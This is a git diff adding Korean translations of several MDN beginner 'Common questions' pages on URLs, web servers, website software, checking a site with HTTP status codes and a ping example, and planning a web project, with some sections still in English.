우리가 위에서 얘기한 것은 절대 URL 이다. 그러나 또한 상대 URL도 있다. 그 차이가 의미하는 것을 더 자세히 알아봅시다.

+ +

요구한 부분의 URL은 URL이 사용되는 문맥에서 크게 의존한다. 브라우저의 주소바에서, URL은 어떤 문맥도 가지고 있지 않다, 그래서 위에서 본 것 처럼 전체 (또는 절대) URL을 제공해야 한다. 프로토콜(브라우저는 기본적으로 HTTP 를 사용한다)또는 포트(해당 웹서버가 몇몇의 흔치 않은 포트를 사용할 때만 요구한다.)를 포함할 필요는 없다. 그러나, URL의 모든 다른 부분(part)은 필요하다.

+ +

URL이 HTML 페이지와 같은 문서 내에서 사용될 때는 조금 다르다. 왜냐하면, 브라우저는 이미 문서의 자체 URL을 갖고 있기 때문에, 문서 내에서 이용가능한 어떤 URL의 잃어버린 부분(part)에 정보를 채우기 위해 사용한다. 오직 URL의 path 부분을 보면, 절대 URL상대 URL을 구별할 수 있다. 만약 URL의 경로 부분이 "/" 문자로 시작한다면, 그 브라우저는 현재 문서에서 주어진 문맥에서 참조없이, 서버의 루트(top root)에서 자원을 가지고 올 것이다.

+ +

더 분명하게 알기 위해 예제를 봅시다.

+ +

절대 URLs의 예

+ +
+
전체 URL (이전에 사용한 것과 같은)
+
+
https://developer.mozilla.org/en-US/docs/Learn
+
+
내포된 프로토콜
+
+
//developer.mozilla.org/en-US/docs/Learn
+ +

이 경우에, 브라우저는 URL을 호스팅한 문서를 불러오기 위해 사용한 것과 같은 프로토콜을 가진 URL을 부를 것이다.

+
+
내포된 도메인명
+
+
/en-US/docs/Learn
+ +

이것은 HTML 문서 내에서 절대 URL을 위한 가장 흔한 사용법이다. 브라우저는 같은 프로토콜과 그 URL을 호스팅한 문서를 불러오기 위해 사용한 것과 같은 도메인명을 사용할 것이다. Note: 프로토콜을 생략하는 것 없이, 도메인명을 생략하는 것을 가능하지 않다.

+
+
+ +

상대 URLs의 예

+ +

다음의 예를 더 잘 이해하기 위해, URL은 다음의 URL이 위치한 문서 내에서 불린다고 가정해봅시다: https://developer.mozilla.org/en-US/docs/Learn

+ +
+
Sub-resources
+
+
Skills/Infrastructure/Understanding_URLs
+
+ URL이 /로 시작하지 않기 때문에, 브라우저는 현재 자원을 포함하는 서브 디렉토리에 있는 문서를 찾으려 할 것이다. 그래서 예를 들어, 이 URL에 도달하길 원하는 것이다: https://developer.mozilla.org/en-US/docs/Learn/Skills/Infrastructure/Understanding_URLs
+
디렉토리 트리에서 뒤로 가기
+
+
../CSS/display
+ +

이 경우에, ../ 를 쓰는 것을 관례로 사용한다 — UNIX 파일 시스템에서 유래했다 — 브라우저에게 한 디렉토리에서 상위로 가고 싶다고 말하는 것이다. 여기서, 이 URL에 도달하고 싶은 것이다: https://developer.mozilla.org/en-US/docs/Learn/../CSS/display, 이렇게 단순화 된다: https://developer.mozilla.org/en-US/docs/CSS/display

+
+
+ +

Semantic(의미있는) URLs

+ +

매우 기술적인 것에도 불구하고, URLs은 웹 사이트를 위한 인간이 읽을 수 있는 시작점을 나타낸다. URL은 저장될 수 있고, 누군가가 URL을 주소바에 기입할 수 있다. 사람들이 웹에 핵심에 있다. 그리고, semantic URLs이라 불리는 것을 구축하기 위해 최선을 고려한다.  Semantic URLs은 기술적인 노하우와 상관없이 누구나 이해할 수 있게 하는 의미로 단어들을 사용한다.

+ +

언어학적 의미론(Semantics)은 컴퓨터와 상관없는 코스다. 아마도 자주 임의의 문자들의 조합처럼 보이는 URL을 봤을 것이다. 그러나 인간이 읽을 수 있는 URL들을 만드는 것에는 많은 장점이 있다:

+ + + +

다음 단계

+ + diff --git a/files/ko/learn/common_questions/what_is_a_web_server/index.html b/files/ko/learn/common_questions/what_is_a_web_server/index.html new file mode 100644 index 0000000000..9e57fc8391 --- /dev/null +++ b/files/ko/learn/common_questions/what_is_a_web_server/index.html @@ -0,0 +1,118 @@ +--- +title: 웹 서버란 무엇일까? +slug: Learn/Common_questions/What_is_a_web_server +translation_of: Learn/Common_questions/What_is_a_web_server +--- +
+

여기서 우리는 웹 서버가 무엇인지, 어떻게 동작하는지, 왜 중요한지를 알아볼 것입니다.

+
+ + + + + + + + + + + + +
선수 지식:web page와 web site, web server, 그리고 search engine의 차이점에 대해 이해하고 인터넷이 어떻게 동작하는지를 이미 알아야 합니다.
목표:web server가 무엇인지를 배우고, 어떻게 동작하는지에 대한 전반적인 이해를 얻을 것입니다.
+ +

요약

+ +

"Web server"는 하드웨어, 소프트웨어 혹은 두 개가 같이 동작하는 것을 의미할 수 있습니다. 

+ +
    +
  1. 하드웨어 측면에서, web server는 web server의 소프트웨어와 website의 컴포넌트 파일들을 저장하는 컴퓨터입니다. (컴포넌트 파일에는 HTML 문서, images, CSS stylesheets, 그리고 JavaScript files가 있습니다.) Web server는 인터넷에 연결되어 웹에 연결된 다른 기기들이 웹 서버의 데이터(컴포넌트 파일들)를 주고받을 수 있도록 합니다.
  2. +
  3. 소프트웨어 측면에서, web server는 기본적으로 웹 사용자가 어떻게 호스트 파일들에 접근하는지를 관리합니다. 이 문서에서 web server는 HTTP서버로 국한합니다. HTTP 서버는 URL(Web addresses)과 HTTP(당신의 브라우저가 웹 페이지를 보여주기 위해 사용하는 프로토콜)의 소프트웨어 일부입니다.
  4. +
+ +

가장 기본적인 단계에서, 브라우저가 웹 서버에서 불려진 파일을 필요로 할때, 브라우저는 HTTP를 통해 파일을 요청합니다. 요청이 올바른 웹 서버(하드웨어)에 도달하였을 때, HTTP 서버(software)는 요청된 문서를 HTTP를 이용해 보내줍니다. 

+ +

Basic representation of a client/server connection through HTTP

+ +

웹 사이트를 공개하기 위해서는, 당신은 정적 혹은 동적 웹 서버가 필요합니다.

+ +

정적 웹 서버 혹은 스택은 HTTP 서버 (소프트웨어)가 있는 컴퓨터(하드웨어)로 구성되어 있습니다. 서버가 그 불려진 파일을 당신의 브라우저에게 전송하기 때문에, 저희는 그것을 "정적"이라고 부릅니다.

+ +

동적 웹 서버는 정적 웹 서버와 추가적인 소프트웨어(대부분 일반적인 애플리케이션 서버와 데이터베이스)로 구성되어 있습니다. 애플리케이션 서버가 HTTP 서버를 통해 당신의 브라우저에게 불려진 파일들을 전송하기 전에, 애플리케이션 서버가 업데이트하기 때문에 우리는 이것을 동적이라고 부릅니다.

+ +

예를 들어, 당신이 브라우저에서 보는 최종 웹페이지들을 생성하기 위해, 애플리케이션 서버는 아마 데이터베이스로 온 컨텐츠들로 이루어진 HTML 템플릿을 채울지 모릅니다. MDN 혹은 Wikipedia와 같은 사이트들은 수 천개의 웹페이지들을 가지고 있지만, 그것들은 실제의 HTML 문서가 아니라 오직 약간의 HTML 템플릿과 엄청 큰 데이터베이스로 되어있습니다. 이 구성은 내용들을 전달하고 관리하기 쉽고 빠르게 만들어 줍니다.

+ +

활발한 교육

+ +

아직 자료가 없습니다. 부디 기여하여주세요.

+ +

더 깊은 부분

+ +

웹 페이지를 가져오기 위해, 우리가 이미 말했듯이, 당신의 브라우저는 저장 공간에 있는 요청된 파일들을 찾는 웹 서버에게 요청을 보냅니다. 한번 좀더 자세히 알아봅시다. 

+ +

호스팅 파일들

+ +

웹 서버는 처음에 HTML 문서라고 불리는 웹 사이트의 파일들과 이미지, CSS 스타일시트, JavaScript 파일, 폰트, 비디오를 포함한 관련된 것들을 저장해야합니다. 

+ +

기술적으로, 당신은 컴퓨터에 있는 그 파일들을 불러올수 있지만, 그것들을 전담하는 웹 서버에 저장하는것이 훨씬 더 편리합니다. 전담하는 웹서버는: 

+ + + +

이러한 이유들로, 좋은 호스팅 제공자를 찾는 것은 당신의 웹 사이트를 구축하는 것의 핵심 부분입니다. 다양한 서비스 회사들의 조건을 살펴보고 당신의 필요와 예산을 충족하는 하나를 선택하세요 (서비스는 무료부터 매달 수 백만원까지 있습니다.) 더 많은 자세한 사항은 여기서 찾을 수 있습니다.

+ +

당신이 웹 호스팅 솔루션을 설정했다면, 그저 당신의 웹 서버에 파일들을 업로드 하시면 됩니다.

+ +

HTTP를 이용해 통신하기

+ +

두 번째로, 웹 서버는 {{Glossary("HTTP")}} (hypertext transfer protocol)을 위한 지원합니다. 이름이 의미하듯이, HTTP는 어떻게 두 컴퓨터간의 hypertext(예를 들어, 연결된 웹 문서)를 전송하는지를 서술합니다.

+ +

프로토콜은 두 컴퓨터간의 통신를 위한 규칙의 집합입니다. HTTP는 문자로 된, 독립적인 프로토콜입니다.

+ +
+
Textual(문자로 된)
+
모든 명령어들은 기본 문자이며 사람들이 읽을 수 있습니다. 
+
Stateless(독립적인)
+
서버 혹은 클라이언트는 이전의 통신을 기억하지 않습니다. 예를 들어, HTTP에만 의존하면, 서버는 당신이 입력한 비밀번호 혹 당신이 처리한 단계를 기억하지 못합니다. 당신은 그러한 일들을 위한 애플리케이션 서버가 필요합니다. (우리는 그러한 기술을 뒤에 나올 기사에서 다룰 것입니다.)
+
+ +

HTTP는 어떻게 클라이언트와 서버가 통신을 하는지 명확한 규칙을 제공합니다. 우리는 HTTP 그 자체를 나중에 technical article 에서 다룰 것입니다. 현재는, 이러한 것들을 기억해주세요.

+ + + +

The MDN 404 page as an example of such error page웹 서버에서, HTTP 서버는 들어오는 요청들에 대해 응답하고, 처리해야 합니다. 

+ +
    +
  1. 요청을 받으면, HTTP 서버는 먼저 요청받은 URL이 존재하는 파일과 매칭이 되는지를 확인합니다.
  2. +
  3. +

    만약 매칭된다면, 웹 서버는 그 파일 내용을 브라우저에게 되돌려줍니다. 만약 그렇지 않다면, 애플리케이션 서버는 필요한 파일을 구축합니다.

    +
  4. +
  5. 만약 위 둘의 과정이 불가능하다면, 웹 서버는 브라우저에게 에러 메시지를 반환합니다, 대부분의 에러 메시지는 "404 Not Found" 입니다.(이 에러는 너무 많이 발생하여 많은 웹 디자이너들은404 error pages를 디자인하는데 많은 시간을 할애합니다. 
  6. +
+ +

정적 vs. 동적 컨텐츠

+ +

대략적으로 말하자면, 서버는 정적 혹은 동적 컨텐츠 모두 제공할 수 있습니다. "정적"은 "있는 그대로 제공되는 것(served as-is)"를 의미합니다. 정적 웹 사이트들은 설치하기 가장 쉽기때문에 우리는 당신이 첫 사이트를 정적 사이트로 만들기를 제안합니다.

+ +

"동적"은 서버가 컨텐츠를 처리하는 것, 심지어는 컨텐츠를 데이터베이스로부터 생성하는 것을 의미합니다. 이 방법은 더 많은 유연성을 제공하지만, 기술적 스택이 더 다루기 힘들어지고, 웹사이트를 구축하는 것이 훨씬 더 복잡해집니다.

+ +

당신이 지금 읽고있는 페이지를 예시로 봅시다. 이 사이트를 호스팅하고 있는 웹 서버에는, 데이터베이스로부터 내용들을 받고, 구성하고, HTML 템플릿 안에 집어넣고, 당신에게 결과를 보내는 애플리케이션 서버가 있습니다. 이러한 경우, 애플리케이션 서버는  Kuma라고 불리고,  Python(Django 프레임워크를 이용한)으로 구축됩니다. Mozilla 팀은 MDN의 특수한 목적으로 Kuma를 만들었지만, 많은 다른 기술들로 만들어진 비슷한 애플리케이션이 존재합니다.

+ +

애플리케이션 서버는 아주 많이 있어서 특정한 하나만 추천하기는 어렵습니다. 어떤 애플리케이션 서버는 블로그나 위키, 인터넷 쇼핑, {{Glossary("CMS", "CMSs")}}라고 불리는 다른 것들(컨텐츠 관리 시스템) 같은 특수한 웹 사이트에 특화되어 있습니다. 만약 당신이 동적 웹 사이트를 구축한다면, 당신의 필요에 맞는 도구를 선택하는 시간을 가져보세요. 웹 서버 프로그래밍을 배우기를 원하는 경우가 아니라면(믈론, 그 자체로도 흥미진진한 영역입니다!), 애플리케이션 서버를 새로 만들 필요가 없습니다. 그것은 휠을 다시 재발명 하는 것과 같은 일입니다.

+ +

다음 과정

+ +

이제 당신은 웹 서버에 익숙해졌으니, 아래와 같은 것들을 할 수 있습니다:

+ + diff --git a/files/ko/learn/common_questions/what_software_do_i_need/index.html b/files/ko/learn/common_questions/what_software_do_i_need/index.html new file mode 100644 index 0000000000..f50ef17dd2 --- /dev/null +++ b/files/ko/learn/common_questions/what_software_do_i_need/index.html @@ -0,0 +1,180 @@ +--- +title: What software do I need to build a website? +slug: Learn/Common_questions/What_software_do_I_need +tags: + - 초보자 +translation_of: Learn/Common_questions/What_software_do_I_need +--- +
+

이 글에서, 우리는 당신이 편집하고, 업로드하고, 웹사이트를 볼 때 어떤 소프트웨어 구성품이 필요한 지 제시한다.

+
+ + + + + + + + + + + + +
요구사항:웹페이지, 웹사이트, 웹서버, 검색엔진의 차이를 알아야 한다.
목적:만약 당신이 웹사이트를 편집하거나 업로드하거나 볼 때, 필요한 소프트웨어 구성품이 무엇인지 배웁니다.
+ +

요약

+ +

당신은 웹 개발에 필요한 대부분의 프로그램들을 무료로 다운 받을 수 있습니다. 우리는 이 글에서 몇 개의 링크를 제공할 것입니다. 당신은 1) 웹페이지를 생성하고 편집하기, 2) 웹 서버에 파일을 업로드하기, 3) 웹 페이지 보기 를 위한 툴들이 필요할 것입니다.

+ +

거의 모든 운영체제는 기본적으로 텍스트 에디터와 웹 뷰어(브라우저)를 포함하고 있습니다. 그래서 보통 웹 서버로 파일을 전송할 소프트웨어 필요합니다.

+ +

Active Learning

+ +

There is no active learning available yet. Please, consider contributing.

+ +

깊게 들어가기

+ +

웹 페이지를 생성하고 편집하기

+ +

웹사이트를 생성하고 편집하기 위해, 텍스트 에디터가 필요합니다. 텍스트 에디터는 무서식의 텍스트 파일을 생성하고 수정합니다.  ({{Glossary("RTF")}} 같은 다른 형식(format)들은, 볼드체와 밑줄같은 포멧을 추가하게 합니다. 이런 포맷들은 웹 페이지를 쓰는 데 적합하지 않습니다.) 당신은 현명하게 텍스트 에디터를 선택해야 합니다. 왜냐하면, 웹사이트를 구축하는 동안에, 광범위하게 사용해야하기 때문입니다.

+ +

모든 데스크탑 운영체제는 기본적인 텍스트 에디터가 딸려 있습니다. 이런 에디터들은 모두 간단하지만, 웹페이지 코딩에 특별한 기능들이 부족합니다. 만약 당신이 더 복잡한 것을 원한다면, 많은 이용가능한 다른(third-party) 툴들이 있습니다. 서드-파티 에디터들은 구문 색표시, 자동완성, 섹션접기, 코드검색을 포함하는 추가 기능이 딸려 있습니다. 에디터들의 간략한 리스트입니다:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
운영 체제내장 에디터Third-party 에디터
WindowsNotepad +

Notepad++

+ +

Visual Studio Code

+ +

Web Storm

+ +

Brackets

+ +

ShiftEdit

+
Mac OSTextEdit +

TextWrangler

+ +

Visual Studio Code

+ +

Brackets

+ +

ShiftEdit

+
LinuxVi (All UNIX)
+ GEdit (Gnome)
+ Kate (KDE)
+ LeafPad (Xfce)
+

Emacs
+ Vim

+ +

Visual Studio Code

+ +

Brackets

+ +

ShiftEdit

+
Chrome OS ShiftEdit
+ +

이것은 하나의 고급 텍스트 에디터의 스크린샷입니다:

+ +

Screenshot of Notepad++. 

+ +

이것은 온라인 텍스트 에디터의 스크린샷입니다:

+ +

Screenshot of ShiftEdit

+ +

웹에 파일 업로드하기

+ +

당신의 웹사이트가 대중들에게 보여지기 전에, 웹 서버에 웹페이지를 업로드 해야할 것입니다. 당신은 다양한 제공장로부터 서버의 공간을 살 수 있습니다. (How much does it cost to do something on the web?를 보십시오). 일단, 당신이 어떤 제공자를 사용할 지 정했다면, 제공자는 당신에게 FTP(파일 전송 프로토콜) 접근 정보를 이메일로 보낼 것입니다.웹 사이트를 만들 때, 웹 서버에 파일을 업로드 하는 것은 매우 중요한 단계입니다, 그래서 우리는 상세한 부분은 a separate article(따로 분리한 글)에서 다루겠습니다. 아래는 무료 기본 FTP 클라이언트의 목록입니다:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
운영체제 FTP 소프트웨어
Windows +

WinSCP

+ +

Moba Xterm

+
+

FileZilla (All OS)

+ +

 

+
LinuxNautilus (Gnome)
+ Dolphin (KDE)
Mac OSCyberduck
Chrome OSShiftEdit (All OS) 
+ +

웹사이트 보기

+ +

알다시피, 웹사이트를 보기 위해 웹 브라우저가 필요합니다. 개인적인 사용을 위한 수 십개의 브라우저 선택권이 있습니다. 그러나, 웹 사이트를 개발할 때, 대부분의 사람들이 당신의 사이트를 잘 이용하기 위해서는 다음의 주요 브라우저에서 테스트해야합니다.

+ + + +

만약 당신이 기술적인 플랫폼이나 국가 등 특정한 그룹을 목적으로 한다면, Opera, Konqueror, UC Browser 같은 추가적인 브라우저도 테스트해야할 지도 모릅니다.

+ +

그러나 몇몇의 브라우저는 특정한 운영체제에서만 동작하기 때문에 테스트하는 것이 복잡합니다. 애플의 사파리는 iOS와 Max OS 에서만 동작하는 반면에, 인터넷 익스플로러는 윈도우에서만 동작합니다. BrowsershotsBrowserstack 같은 서비스를 이용하는 것이 좋습니다. Browsershots은 다양한 브라우저에서 볼 때, 웹사이트의 스크린샷을 제공합니다. Browserstack은 사실 당신에게 가상머신에서 완전한 원거리 접근을 가능하게 해줍니다. 그래서 당신은 대부분의 공통 환경에서 사이트를 테스트할 수 있습니다. 그렇지 않으면, 당신 자신의 가상 머신을 설치하면 됩니다. 하지만 이것은 약간의 전문지식이 필요한 작업입니다. (만약 당신이 이런 길을 가고자 한다면, 마이크로소프트에서는 modern.ie.에서 사용 준비가 완료된 가상 머신이 포함된 개발자를 위한 툴들을 가지고 있습니다.)

+ +

물론, 실제 장치에서 몇 번의 테스트를 해봐야한다. 특히, 실제 모바일 장치에서는. 모바일 장치 시뮬레이션은 새롭고, 진화하고 있는 기술이고 데스트탑 시뮬레이션보다 신뢰가 떨어진다. 물론, 모바일 장치는 돈이 든다. 그래서 우리는Open Device Lab initiative에서 보는 것을 제안한다. 당신이 너무 많은 소비없이 많은 플랫폼을 테스트하고 싶다면, 장치를 공유할 수 있다.

+ +

다음 단계

+ + + +

 

diff --git "a/files/ko/learn/common_questions/\354\233\271_\354\202\254\354\235\264\355\212\270\352\260\200_\354\240\234\353\214\200\353\241\234_\353\217\231\354\236\221\355\225\230\353\212\224\354\247\200_\355\231\225\354\235\270/index.html" "b/files/ko/learn/common_questions/\354\233\271_\354\202\254\354\235\264\355\212\270\352\260\200_\354\240\234\353\214\200\353\241\234_\353\217\231\354\236\221\355\225\230\353\212\224\354\247\200_\355\231\225\354\235\270/index.html" new file mode 100644 index 0000000000..d39ea4069f --- /dev/null +++ "b/files/ko/learn/common_questions/\354\233\271_\354\202\254\354\235\264\355\212\270\352\260\200_\354\240\234\353\214\200\353\241\234_\353\217\231\354\236\221\355\225\230\353\212\224\354\247\200_\355\231\225\354\235\270/index.html" @@ -0,0 +1,170 @@ +--- +title: 웹 사이트가 제대로 동작하는지 확인하는 방법 +slug: Learn/Common_questions/웹_사이트가_제대로_동작하는지_확인 +translation_of: Learn/Common_questions/Checking_that_your_web_site_is_working_properly +--- +
+

이번에는 웹사이트 동작과 관련한 다양한 문제해결 단계와 그 문제들을 해결하기 위한 방법들을 알아보겠습니다.

+
+ + + + + + + + + + + + +
전제 조건:먼저, upload files웹 서버에 파일 업로드 방법을 알아야 합니다.
목표:웹 사이트에서 발생할 수 있는 기본적인 문제들과 해결방법을 알아봅시다.
+ +

개발하신 웹 사이트를 온라인상에 배포를 하였나요? 잘 했어요! 그런데 문제없이 동작하는게 확실한가요?

+ +

종종 온라인에 배포한 웹 서버는 로컬에서 모습과는 꽤 다르게 동작할 때가 있습니다. 그 때문에 온라인에 배포할 때마다 한 번씩 확인이 필요합니다. 아마 많은 문제가 발생해 놀라게 될 텐데요: 이미지가 나오지 않거나, 페이지가 로딩이 안되거나 느리게 로딩되는 등 하는 문제들요. 대부분의 경우는 큰 문제가 아닙니다, 간단한 실수나 호스팅 세팅 같은 문제죠.

+ +

이런 문제들을 어떻게 진단하고 해결하는지 살펴봅시다.

+ +

Active Learning

+ +

There is no active learning available yet. Please, consider contributing.

+ +

Dig deeper

+ +

브라우저에서 테스트하기

+ +

웹 사이트가 잘 동작하는지 알고 싶다면, 먼저 브라우저를 시작하고 테스트하려는 페이지로 이동하세요.

+ +

어?, 이미지가 어디갔죠?

+ +

우리의 개인 사이트를 봅시다.(동작x), http://demozilla.examplehostingprovider.net/. It's not showing the image we expected!

+ +

Oops, the ‘unicorn’ image is missing

+ +

Open Firefox's Network tool (Tools ➤ Web Developer ➤ Network) and reload the page:

+ +

The image has a 404 error

+ +

There's the problem, that "404" at the bottom. "404" means "resource not found", and that's why we didn't see the image.

+ +

HTTP statuses

+ +

Servers respond with a status message whenever they receive a request. Here are the most common statuses:

+ +
+
200: OK
+
The resource you asked for was delivered.
+
301: Moved permanently
+
The resource has moved to a new location. You won't see this much in your browser, but it's good to know about "301" since search engines use this information a lot to update their indexes.
+
304: Not modified
+
The file has not changed since the last time you asked for it, so your browser can display the version from its cache, resulting in faster response times and more efficient use of bandwidth.
+
403: Forbidden
+
You aren't allowed to display the resource. Usually it has to do with a configuration mistake (e.g. your hosting provider forgot to give you access rights to a directory).
+
404: Not found
+
Self-explanatory. We'll discuss how to solve this below.
+
500: Internal server error
+
Something went wrong on the server. For instance, maybe the server-side language ({{Glossary("PHP")}}, .Net, etc.) stopped working, or the web server itself has a configuration problem. Usually it's best to resort to your hosting provider's support team.
+
503: Service unavailable
+
Usually resulting from a shortterm system overload. The server has some sort of problem. Try again in a little while.
+
+ + + +

As beginners checking our (simple) website, we'll deal most often with 200, 304, 403, and 404.

+ +

Fixing the 404

+ +

So what went wrong?

+ +

Le list of images in our project

+ +

At first glance, the image we asked for seems to be in the right place... but the Network tool reported a "404". It turns out that we made a typo in our HTML code: unicorn_pics.png rather than unicorn_pic.png. So correct the typo in your code editor by changing the image's src attribute:

+ +

Deleting the ‘s’

+ +

Save, push to the server, and reload the page in your browser:

+ +

The image loads corectly in the browser

+ +

There you go! Let's look at the {{Glossary("HTTP")}} statuses again:

+ + + +

So we fixed the error and learned a few HTTP statuses along the way!

+ +

Frequent errors

+ +

The most frequent errors that we find are these:

+ +

Typos in the address

+ +

We wanted to type http://demozilla.examplehostingprovider.net/ but typed too fast and forgot an “l”:

+ +

Address unreachable

+ +

The address cannot be found. Indeed.

+ +

404 errors

+ +

Many times the error just results just from a typo, but sometimes maybe you either forgot to upload a resource or you lost your network connection while you were uploading your resources. First check the spelling and accuracy of the file path, and if there's still a problem, upload your files again. That will likely fix the problem.

+ +

JavaScript errors

+ +

Someone (possibly you) added a script to the page and made a mistake. This will not prevent the page from loading but you will feel something went wrong.

+ +

Open the console (Tools ➤ Web developer ➤ Web Console) and reload the page:

+ +

A Javascript error is shown in the Console

+ +

In this example, we learn (quite clearly) what the error is, and we can go fix it (we will cover JavaScript in another series of articles).

+ +

More things to check

+ +

We have listed a few simple ways to check that your website works properly, as well as the most common errors you may run across and how to fix them. You can also test if your page meets these criteria:

+ +

How's the performance?

+ +

Does the page load fast enough? Resources like WebPagetest.org or browser add-ons like YSlow can tell you a few interesting things:

+ +

Yslow diagnostics

+ +

Grades go from A to F. Our page is just small and meets most criteria. But we can already note it would have been better to use a {{Glossary("CDN")}}. That doesn't matter very much when we're only serving one image, but it would be critical for a high-bandwidth website serving many thousands of images.

+ +

Is the server responsive enough?

+ +

ping is a useful shell tool that tests the domain name you provide and tells you if the server's responding or not:

+ +
$ ping mozilla.org
+PING mozilla.org (63.245.215.20): 56 data bytes
+64 bytes from 63.245.215.20: icmp_seq=0 ttl=44 time=148.741 ms
+64 bytes from 63.245.215.20: icmp_seq=1 ttl=44 time=148.541 ms
+64 bytes from 63.245.215.20: icmp_seq=2 ttl=44 time=148.734 ms
+64 bytes from 63.245.215.20: icmp_seq=3 ttl=44 time=147.857 ms
+^C
+--- mozilla.org ping statistics ---
+4 packets transmitted, 4 packets received, 0.0% packet loss
+round-trip min/avg/max/stddev = 147.857/148.468/148.741/0.362 ms
+ +

Just keep in mind a handy keyboard shortcut: Ctrl+C.  Ctrl+C sends an “interrupt” signal to the runtime and tells it to stop.  If you don't stop the runtime, ping will ping the server indefinitely.

+ +

A simple checklist

+ + + +

Next steps

+ +

Congratulations, your website is up and running for anyone to visit. That's a huge achievement. Now, you can start digging deeper into various subjects.

+ + diff --git "a/files/ko/learn/common_questions/\354\275\224\353\224\251\355\225\230\352\270\260_\354\240\204\354\227\220_\354\203\235\352\260\201\355\225\230\352\270\260/index.html" "b/files/ko/learn/common_questions/\354\275\224\353\224\251\355\225\230\352\270\260_\354\240\204\354\227\220_\354\203\235\352\260\201\355\225\230\352\270\260/index.html" new file mode 100644 index 0000000000..8885c5999b --- /dev/null +++ "b/files/ko/learn/common_questions/\354\275\224\353\224\251\355\225\230\352\270\260_\354\240\204\354\227\220_\354\203\235\352\260\201\355\225\230\352\270\260/index.html" @@ -0,0 +1,176 @@ +--- +title: 나의 웹사이트를 설계하기 위해서는? +slug: Learn/Common_questions/코딩하기_전에_생각하기 +tags: + - 능동학습필요 + - 초보자 +translation_of: Learn/Common_questions/Thinking_before_coding +--- +

이 글은 모든 프로젝트에서 중요한 첫 단계  - 프로젝트를 통해 달성하고 싶은 것을 정의하기 - 를 다룬다.

+ + + + + + + + + + + + +
선이수:없음
목표:웹 프로젝트 방향 설정을 위해 목적을 정하는 법을 배운다.
+ +

요약

+ +

웹 프로젝트를 시작할 때, 많은 사람들은 기술적인 면에 집중한다. 물론 자기 분야의 기술에 익숙해야한다. 그러나 정말 중요한건 무엇을 달성하고 싶은가이다. 당연한 이야기같지만, 생각보다 많은 프로젝트들이 기술적 방법의 부족이 아닌, 목적과 전망의 부족으로 실패한다.

+ +

따라서 아이디어를 얻고, 그것을 웹 사이트로 만들고 싶을 때, 다른 것보다 먼저 대답해야할 질문이 있다.

+ + + +

이러한 것들을 프로젝트 관념(ideation)이라 한다. 당신이 초보자든 숙련된 개발자든 목표에 도달하기 위해 반드시 거쳐야 할 첫 단계이다.

+ +

능동 학습

+ +

아직 가능한 능동 학습이 없다. 기여를 고민해보라.

+ +

깊게 들어가기

+ +

프로젝트는 절대 기술에서 시작하지 않는다. 음악가는 무엇을 연주할 지 정하기 전엔 어떤 음악도 만들지 않는다. 화가, 작가, 그리고 웹 개발자도 마찬가지다. 기술은 다음이다.

+ +

기술은 분명히 중요하다. 음악가는 기악을 완성해야 한다. 그러나 좋은 음악가는 절대 생각없이 좋은 음악을 만들수 없다. 그러므로 코드와 툴같은 기술로 뛰어들기 전에, 한 걸음 물러서서 하고 싶은 것을 상세히 결정해야 한다.

+ +

친구와 함께하는 한 시간의 토론은 좋은 시작이지만 부족하다. 생각을 현실로 만들 길의 탁 트인 전망을 얻으려면 앉아서 생각을 구조화해야한다. 이것을 하기 위해서, 오직 펜과 종이 그리고 적어도 다음 질문에 대한 답할 시간이 필요하다.

+ +
+

메모: 프로젝트 관념화를 수행하기 위한 셀 수 없는 방법들이 있다. 우리는 여기에 그것들을 모두 제시할 수는 없다. (책 전체로는 충분하지 않을 것이다). 이 곳에 주는 것은 전문가들이  Project Ideation(관념화), Project Planning(계획) 그리고 Project Management(관리) 라고 부르는 것을 다루는 단순한 방법이다.

+
+ +

내가 정확히 달성하고 싶은 것은 무엇인가?

+ +

이것은 대답해야 하는 가장 중요한 질문이다. 왜냐하면, 이것이 다른 모든 것을 만들기 때문이다. 도달하고 싶은 모든 목표를 목록화해라. 그것은 무엇일 수도 있다: 돈을 벌기 위해 물건 팔기, 정치적인 의견 표현하기, 새로운 친구 만들기,  음악가들과 공연하기, 고양이 사진 모으기, 또는 원하는 무엇이든.

+ +

당신이 음악가라고 생각해보자. 이런걸 원할 수 있다.

+ + + +

일단 이런 리스트를 만들고 나면, 우선순위를 정하는 것이 필요하다. 가장 중요한 것부터 덜 중요한 것까지 목표를 정렬해라.

+ +
    +
  1. 새로운 애인 찾기
  2. +
  3. 다른 사람들이 내 음악을 듣게 하기
  4. +
  5. 내 음악에 대해 이야기하기
  6. +
  7. 다른 음악가들과 만나기
  8. +
  9. 관련 상품 팔기 
  10. +
  11. 동영상으로 음악 가르치기
  12. +
  13. 내 고양이 사진 출판하기
  14. +
+ +

단순한 목표 쓰기와 순위 정하기가 만들고 싶은 것을 결정할 때, 도움이 될 것이다. (내가 이런 특징을 구현해야할까, 이런 서비스를 사용해야할까, 이런 디자인을 만들어야할까?)

+ +

우선순위가 정리된 목적 기록부가 생겼으니, 다음 질문으로 이동하자.

+ +

어떻게 웹사이트가 나를 목적지로 데려다 줄 수 있을까?

+ +

그래서 당신은 목표 리스트를 가지고 있고, 그 목표들을 이루기위해 웹사이트가 필요하다고 느낍니다. 확실합니까?

+ +

우리의 예를 다시 봅시다. 우리는 음악에 관련된 5개의 목표, 개인 삶(소중한 사람 찾기)에 관련된 하나의 목표 그리고, 완전히 상관없는 고양이 사진을 가지고 있습니다. 이 모든 목표들을 다루기 위한 하나의 웹사이트를 만드는 것이 합리적입니까? 그것이 필요할까요? 결국에, 많은 기존의 웹 서비스는 새로운 웹사이트를 만들지 않고 당신의 목표를 가져다 줄 지 모릅니다.

+ +

애인을 찾는 것은 새로운 웹사이트를 구축하는 것보다 기존의 자원을 사용하는 것이 더 알맞다는 점에서 중요한 케이스입니다. 왜? 왜냐하면 우리가 실제로 애인을 찾는 것보다 웹사이트를 구축하고 유지하는 데 더 많은 시간을 소비하기 때문입니다. 우리의 목표가 가장 중요하기 때문에, 우리는 처음부터 시작하는 것보다는 기존의 툴을 레버리징(leveraging )하는 것에 에너지를 써야합니다. 다시, 사진을 보여주기 위해 이용할 수 있는 이미 너무 많은 웹서비스가 있습니다 그래서 우리의 고양이가 얼마나 귀여운 지에 대한 것을 퍼뜨리기 위해 새로운 사이트를 구축하는 데 노력할 가치가 없습니다.

+ +

